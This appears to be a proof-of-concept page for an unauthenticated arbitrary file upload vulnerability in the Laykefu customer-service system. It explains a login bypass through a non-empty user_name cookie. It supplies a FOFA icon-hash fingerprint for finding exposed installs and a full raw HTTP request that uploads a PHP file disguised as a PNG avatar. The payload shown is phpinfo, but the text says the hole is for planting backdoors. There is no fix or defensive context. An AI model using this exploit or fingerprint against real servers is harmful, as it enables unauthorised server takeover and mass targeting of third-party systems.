39 lines
1.5 KiB
Markdown
39 lines
1.5 KiB
Markdown
## Laykefu客服系统任意文件上传漏洞
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Laykefu客服系统/admin/users/upavatar.html接口处存在文件上传漏洞，而且当请求中Cookie中的”user_name“不为空时即可绕过登录系统后台，未经身份验证的攻击者可利用此问题，上传后门文件，获取服务器权限。
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## fofa
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```
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icon_hash="-334624619"
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```
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## poc
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```
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POST /admin/users/upavatar.html HTTP/1.1
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Host: xxx.xxx.xxx
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Content-Length: 194
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Accept: application/json, text/javascript, */*; q=0.01
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X-Requested-With: XMLHttpRequest
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User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
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Origin: http://xxx.xxx.xxx
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Referer: http://xxx.xxx.xxx/admin/users/edituser/id/1.html
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: user_name=1; user_id=3
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sec-ch-ua-platform: "Windows"
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sec-ch-ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
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sec-ch-ua-mobile: ?0
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Connection: close
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------WebKitFormBoundary3OCVBiwBVsNuB2kR
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Content-Disposition: form-data; name="file"; filename="1.php"
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Content-Type: image/png
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<?php phpinfo();?>
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------WebKitFormBoundary3OCVBiwBVsNuB2kR--
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```
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